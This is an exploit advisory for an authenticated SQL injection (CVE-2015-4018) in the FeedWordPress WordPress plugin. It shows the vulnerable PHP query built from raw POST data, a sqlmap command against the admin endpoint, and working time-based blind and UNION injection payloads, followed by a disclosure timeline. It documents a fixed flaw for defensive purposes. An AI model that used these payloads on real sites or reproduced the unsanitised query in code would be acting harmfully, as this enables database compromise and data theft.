WordPress Plugin FeedWordPress 2015.0426 - SQL Injection

# Exploit Title: SQLi in FeedWordPress WordPress plugin

# Date: 2015-05-19

# Exploit Author: Adrián M. F.

# Vendor Homepage: https://wordpress.org/plugins/feedwordpress/

# Vulnerable version: 2015.0426

# Fixed version: 2015.0514

# CVE : CVE-2015-4018





(1) Authenticated SQLi [CWE-89]

-------------------------------



* CODE:

feedwordpresssyndicationpage.class.php:89

+++++++++++++++++++++++++++++++++++++++++

$targets = $wpdb->get_results("

    SELECT * FROM $wpdb->links

    WHERE link_id IN (".implode(",",$_POST['link_ids']).")

");

+++++++++++++++++++++++++++++++++++++++++

http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php

POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]



* POC:

SQLMap

+++++++++++++++++++++++++++++++++++++++++

./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"

[............]

POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

sqlmap identified the following injection points with a total of 62 HTTP(s) requests:

---

Parameter: link_ids[] (POST)

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794



    Type: UNION query

    Title: Generic UNION query (NULL) - 13 columns

    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)-- 

---

[10:40:14] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 7.0 (wheezy)

web application technology: Apache 2.2.22, PHP 5.4.39

back-end DBMS: MySQL 5.0.12

+++++++++++++++++++++++++++++++++++++++++



Timeline

========

2015-05-09: Discovered vulnerability.

2015-05-14: Vendor notification.

2015-05-14: Vendor response and fix.

2015-05-19: Public disclosure.